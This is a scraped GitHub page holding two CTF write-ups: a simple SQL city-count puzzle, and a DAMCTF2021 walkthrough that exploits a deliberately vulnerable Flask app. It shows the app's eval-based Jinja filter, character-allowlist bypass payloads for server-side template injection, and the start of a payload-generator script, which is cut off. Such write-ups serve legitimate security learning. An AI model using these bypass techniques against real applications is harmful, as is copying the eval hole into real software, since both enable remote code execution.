class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>INTENT-CTF-Writeup</span></span></span><span>/</span>Mass-Notes<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>INTENT-CTF-Writeup</span></span></span><span>/</span>Mass-Notes<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noflowpls/INTENT-CTF-Writeup/tree-commit/fdb20f4fe564a7e36a82c0362c95b6676af960f1/Mass-Notes" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/noflowpls/INTENT-CTF-Writeup/file-list/main/Mass-Notes"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Mass-Notes.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>index.html</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>note.html</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>style.css</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# City Lights ![Category](http://img.shields.io/badge/Category-SQL-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-40-brightgreen?style=for-the-badge) ## Details >De Monne wants to know how many branch offices were included in the database leak. This can be found by figuring out how many unique cities the employees live in. Submit the flag as `flag{#}`.> > Use the MySQL database dump from Body Count.--- It should be possible to use the query `SELECT COUNT(DISTINCT(city)) FROM employees;` which produced a count of `450` ```MariaDB [demonne]> select COUNT(DISTINCT(city)) from employees;+-----------------------+| COUNT(DISTINCT(city)) |+-----------------------+| 450 |+-----------------------+1 row in set (0.008 sec) ``` But this was not the correct flag!?! When I ran the command without the `COUNT()` function, `SELECT DISTINCT(city) FROM employees;`, I noticed some dupliacte entries in the list?! ```MariaDB [demonne]> select DISTINCT(city) from employees;+-------------------+| city |+-------------------+| Vancouver || Pittsburgh || Baltimore || Bradenton || Nashville || Redwood City || Paterson || Springfield || Phoenix || Fort Worth || Washington || Saint Cloud || Buffalo || Philadelphia || Palmdale || Detroit || Salt Lake City || Garden Grove || Youngstown || Sioux Falls || Pasadena || Houston || Huntington || San Antonio || Rochester || Pompano Beach || Chicago || Aurora || Norwalk || Memphis || Daytona Beach || Long Beach || Herndon || New Brunswick || Tulsa || Montgomery || Englewood || Ocala || Stockton || Birmingham || Greeley || Lexington || Dallas || Greensboro || New Orleans || Naples || Jersey City || Roanoke || Saint Louis || Ogden || Newton || Santa Ana || Charlotte || Saint Paul || Wilkes Barre || Baton Rouge || Gainesville || Honolulu || Kansas City || Portland || Bethesda || Annapolis || Monticello || Charlottesville || Lynchburg || Grand Rapids || Oklahoma City || Louisville || Huntsville || Bethlehem || Santa Monica || Helena || White Plains || Jackson || Florence || Anniston || Mesquite || Sparks || Duluth || Port Washington || Bakersfield || Portsmouth || Minneapolis || Syracuse || Los Angeles || Independence || Plano || Pensacola || Hartford || Denver || Warren || El Paso || Arlington || Amarillo || San Diego || Jamaica || Las Vegas || Pomona || Fort Myers || Saginaw || Wilmington || New York City || Reno || Indianapolis || Boca Raton || Sacramento || Lima || Beaumont || Brea || Corpus Christi || Worcester || Lake Charles || Atlanta || New Haven || Richmond || Tacoma || Lakewood || Scottsdale || Lancaster || Camden || Topeka || Miami || Odessa || Southfield || Jacksonville || Mobile || Providence || Seminole || Dayton || Erie || Sioux City || Beaverton || Trenton || Torrance || New Haven || Tucson || Vero Beach || Des Moines || Spartanburg || Lansing || Boise || Irving || Harrisburg || Austin || Colorado Springs || Fort Wayne || Omaha || Chattanooga || Panama City || Farmington || Brockton || Albuquerque || San Bernardino || Prescott || Tampa || North Las Vegas || Asheville || Columbus || Corona || Norfolk || Huntington Beach || Flint || Seattle || Battle Creek || Milwaukee || Muskegon || Boston || Cleveland || Raleigh || Missoula || Shreveport || Davenport || Cincinnati || Boynton Beach || Brooklyn || Saint Petersburg || Provo || Katy || Mount Vernon || North Hollywood || Orlando || Morgantown || Durham || Orange || Punta Gorda || Berkeley || Peoria || Irvine || Newark || Fort Lauderdale || Madison || Santa Barbara || Alexandria || Denton || San Jose || Joliet || Fort Collins || Spring || Wichita || Winston Salem || Charleston || Montpelier || Metairie || Riverside || Reston || Fresno || Fayetteville || Scranton || Champaign || Virginia Beach || Columbia || Merrifield || Cumming || Petaluma || Utica || Chesapeake || Inglewood || Saint Joseph || Bronx || Loretto || Oakland || Knoxville || Clearwater || Waltham || Augusta || Garland || San Francisco || Lincoln || Elizabeth || Arvada || Anchorage || York || Bonita Springs || Allentown || Fairbanks || Biloxi || Simi Valley || Fairfax || Round Rock || Evansville || Waterbury || Chula Vista || Hamilton || Fort Smith || Migrate || Lynn || Reading || Sarasota || Stamford || Eugene || Little Rock || Escondido || College Station || Tyler || Glendale || Decatur || Albany || Whittier || South Bend || Bloomington || Las Cruces || Frankfort || Shawnee Mission || Staten Island || Alhambra || Anaheim || Lubbock || Watertown || Monroe || Gaithersburg || Lawrenceville || Lafayette || Danbury || Hampton || Toledo || Mesa || Jefferson City || Gary || Santa Fe || Spokane || Silver Spring || Evanston || Suffolk || Hialeah || Pinellas Park || Tallahassee || Fort Pierce || Spring Hill || Valley Forge || Salem || Anderson || Santa Cruz || Canton || Boulder || Port Charlotte || Green Bay || Palm Bay || Temple || Greenville || Wichita Falls || Chandler || Lake Worth || Conroe || Aiken || Bryan || Grand Junction || Abilene || Schenectady || Rockford || Longview || Macon || Young America || Midland || West Palm Beach || Salinas || Henderson || Rockville || New Bedford || Terre Haute || Killeen || Lakeland || Idaho Falls || Beaufort || New Castle || San Mateo || Modesto || Littleton || Brooksville || Burbank || Laredo || Apache Junction || South Lake Tahoe || Gadsden || Mc Keesport || Savannah || Humble || Sunnyvale || Bozeman || Athens || Schaumburg || Lees Summit || Waco || Tuscaloosa || Yonkers || Hicksville || Everett || Gilbert || Kingsport || Saint Augustine || Norman || Cheyenne || Woburn || Ventura || Pueblo || Grand Forks || Iowa City || Muncie || Sterling || Santa Clara || Lehigh Acres || Great Neck || Levittown || Des Moines || Carson City || Akron || Bellevue || Johnstown || Carol Stream || Gastonia || Palo Alto || London || Racine || Marietta || North Little Rock || Cedar Rapids || Juneau || Kalamazoo || Texarkana || Hayward || Billings || Bowie || Van Nuys || San Angelo || High Point || Visalia || Edmond || Fullerton || Galveston || Mountain View || Flushing || Sacramento || Fargo || Delray Beach || Ashburn || Largo || Fairfield || Alpharetta || Frederick || Hollywood || San Rafael || Tempe || Concord || Oxnard || Newport News || Maple Plain || Zephyrhills || Manassas || Gulfport || Laurel || Cambridge || Johnson City || Pocatello || Cape Coral || Waterloo || Homestead || Kent || Port Saint Lucie || Ann Arbor || West Hartford || Kansas City || Jersey City || Gatesville || Dulles || Appleton || Olympia || Murfreesboro || Boca Raton || Manchester || Santa Rosa || North Port || Bismarck || Oceanside || Yakima || Myrtle Beach || Valdosta || Moreno Valley || Meridian || Hyattsville || Naperville || Fredericksburg || Northridge || Miami Beach || Vienna || Winter Haven || Troy || Jeffersonville || Bridgeport || Falls Church || San Luis Obispo || East Saint Louis |+-------------------+``` I tried for some time to get the SQL query to provide the correct results, but in the end decided it was likley there was some additional whitepasce or strange charcter encoding causing the issues to decided insteed it was easiser to remove the duplicates manually! After manualy removing the duplicates from the list above I came up with the corect count of `444` so the correct flag was; ## flag{444}
# DAMCTF2021 - Web - Super Secure Translation Implementation # IntroductionThis challenge was a simple Jinja SSTI challenge with some filter bypassing involved. # FilesI don't really remember what was provided in the challenge but after some manual enumerations(Entries from the docker file) and content discovery, following files could be found with the help of the following code block in the app.py. ```[email protected]("/")@server.route("/<path>")def index(path=""): # Show app.py source code on homepage, even if not requested. if path == "": path = "app.py" # Make this request hackproof, ensuring that only app.py is displayed. elif not os.path.exists(path) or "/" in path or ".." in path: path = "app.py" # User requested app.py, show that. with open(path, "r") as f: return render_template("index.html", code=f.read())``` ![](https://i.imgur.com/Zk5IUNg.png) Found files, ![](https://i.imgur.com/hjR618e.png) There are 4 files that we should care which are `app.py`, `check.py`, `filters.py` and `limit.py` `app.py`,```pythonfrom flask import Flask, render_template, render_template_string, Response, requestimport os from check import detect_remove_hacksfrom filters import * server = Flask(__name__) # Add filters to the jinja environment to add string# manipulation capabilitiesserver.jinja_env.filters["u"] = uppercaseserver.jinja_env.filters["l"] = lowercaseserver.jinja_env.filters["b64d"] = b64dserver.jinja_env.filters["order"] = orderserver.jinja_env.filters["ch"] = characterserver.jinja_env.filters["e"] = e @server.route("/")@server.route("/<path>")def index(path=""): # Show app.py source code on homepage, even if not requested. if path == "": path = "app.py" # Make this request hackproof, ensuring that only app.py is displayed. elif not os.path.exists(path) or "/" in path or ".." in path: path = "app.py" # User requested app.py, show that. with open(path, "r") as f: return render_template("index.html", code=f.read()) @server.route("/secure_translate/", methods=["GET", "POST"])def render_secure_translate(): payload = request.args.get("payload", "secure_translate.html") print(f"Payload Parsed: {payload}") resp = render_template_string( """{% extends "secure_translate.html" %}{% block content %}""" + str(detect_remove_hacks(payload)) + """Take Me Home{% endblock %}""" ) return Response(response=resp, status=200) """ + str(detect_remove_hacks(payload)) + """ if __name__ == "__main__": port = int(os.environ.get("PORT", 30069)) server.run(host="0.0.0.0", port=port, debug=False) ``` `filters.py`, ```pythonimport base64 def uppercase(x): return x.upper() def lowercase(x): return x.lower() def b64d(x): return base64.b64decode(x) def order(x): return ord(x) def character(x): return chr(x) def e(x): # Security analysts reviewed this and said eval is unsafe (haters). # They would not approve this as "hack proof" unless I add some # checks to prevent easy exploits. print(f"Evaluating: {x}") forbidlist = [" ", "=", ";", "\n", ".globals", "exec"] for y in forbidlist: if y in x: return "Eval Failed: Foridlist." if x[0:4] == "open" or x[0:4] == "eval": return "Not That Easy ;)" try: return eval(x) except Exception as exc: return f"Eval Failed: {exc}"``` `limit.py`, ```pythonimport time from rctf import golf def get_golf_limit() -> int: rctf_host = "https://damctf.xyz/" challenge_id = "super-secure-translation-implementation" ctf_start = 1636156800 limit_function = lambda x: (x * 2) + 147 limit = golf.calculate_limit(rctf_host, challenge_id, ctf_start, limit_function) return limit def is_within_bounds(payload: str) -> bool: return len(payload) <= get_golf_limit()``` `check.py`,```pythonfrom limit import is_within_bounds, get_golf_limit def allowlist_check(payload, allowlist): # Check against allowlist. print(f"Starting Allowlist Check with {payload} and {allowlist}") if set(payload) == set(allowlist) or set(payload) <= set(allowlist): return payload print(f"Failed Allowlist Check: {set(payload)} != {set(allowlist)}") return "Failed Allowlist Check, payload-allowlist=" + str( set(payload) - set(allowlist) ) def detect_remove_hacks(payload): # This effectively destroyes all web attack vectors. print(f"Received Payload with length:{len(payload)}") if not is_within_bounds(payload): return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally." allowlist = [ "c", "{", "}", "d", "6", "l", "(", "b", "o", "r", ")", '"', "1", "4", "+", "h", "u", "-", "*", "e", "|", "'", ] payload = allowlist_check(payload, allowlist) print(f"Allowlist Checked Payload -> {payload}") return payload``` Additionally `__init__.py` file(not really that important tho), ```pythonfrom . import appfrom . import checkfrom . import filtersfrom . import limit``` # Important points in the files There are some filter definitions in app.py,```pythonserver.jinja_env.filters["u"] = uppercaseserver.jinja_env.filters["l"] = lowercaseserver.jinja_env.filters["b64d"] = b64dserver.jinja_env.filters["order"] = orderserver.jinja_env.filters["ch"] = characterserver.jinja_env.filters["e"] = e ``` Those filters are in filter.py. Important ones here are `ch` and `e`. Where `ch` charifies a given integer and `e` evaluates the given thing. Given payloads can only pass the check if the characters they are madeup with are in the following list. ```python allowlist = [ "c", "{", "}", "d", "6", "l", "(", "b", "o", "r", ")", '"', "1", "4", "+", "h", "u", "-", "*", "e", "|", "'", ] ``` At endpoint `/secure_translate/` GET parameter `payload` gets put into a template which is rendered later on meaning that we can inject our own malicious templates and get code execution. ```[email protected]("/secure_translate/", methods=["GET", "POST"])def render_secure_translate(): payload = request.args.get("payload", "secure_translate.html") print(f"Payload Parsed: {payload}") resp = render_template_string( """{% extends "secure_translate.html" %}{% block content %}""" + str(detect_remove_hacks(payload)) + """Take Me Home{% endblock %}""" ) return Response(response=resp, status=200)``` """ + str(detect_remove_hacks(payload)) + """ There is a length check on the payload. It should not pass the character limit of 161. ```python if not is_within_bounds(payload): return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally."``````pythondef is_within_bounds(payload: str) -> bool: return len(payload) <= get_golf_limit()``` To sump it all, there is a template injection but there is a filter on it. There are useful custom made filters on the app which we can use to bypass the check and it should be less than 161. Easy enough. # Jinja filters Custom made filters are explained like below in the original flask documentation. https://flask.palletsprojects.com/en/2.0.x/templating/#registering-filters![](https://i.imgur.com/6sxrNXg.png) So with a `|` we can call the defined filters, nice. # Exploit We can verify that our template gets rendered. `{{1-1}}` ![](https://i.imgur.com/3JCUtnE.png) With the template below we can bypass the filter and print k.```{{(111-4)|ch}}``` ![](https://i.imgur.com/dfzLD7I.png) We can also chain filters,```{{((111-1)|ch+(111-4)|ch)|e}}``` Don't forget to url encode the payload, ![](https://i.imgur.com/MxqHEIa.png) Nice ! We reached to `eval()`. So we can automate this and write a script to automatically bypass the filter and generate payloads. I know, spagetti code.```pythondef chrify(x): return f"({x})|ch" allowlist = [ "c", "{", "}", "d", "6", "l", "(", "b", "o", "r", ")", '"', "1", "4", "+", "h", "u", "-", "*", "e", "|", "'", ] formulas = { "0": "66-14-4", "1": "66-14-1-1-1", "2": "66-16", "3": "66-14-1", "4": "66-14", "5": "66-11-1-1", "6": "66-11-1", "7": "66-11", "8": "66-4-4-1-1", "9": "66-6-1-1-1", "a": "111-14", "b": "111-11-1-1", "c": "111-11-1", "d": "111-11", "e": "111-11+1", "f": "116-14", "g": "114-11", "h": "111-6-1", "i": "111-6", "j": "111-4-1-1-1", "k": "111-4", "l": "114-6", "m": "111-1-1", "n": "111-1", "o": "111", "p": "111+1", "q": "114-1", "r": "114", "s": "116-1", "t": "116", "u": "141-1-16-4-1-1-1", 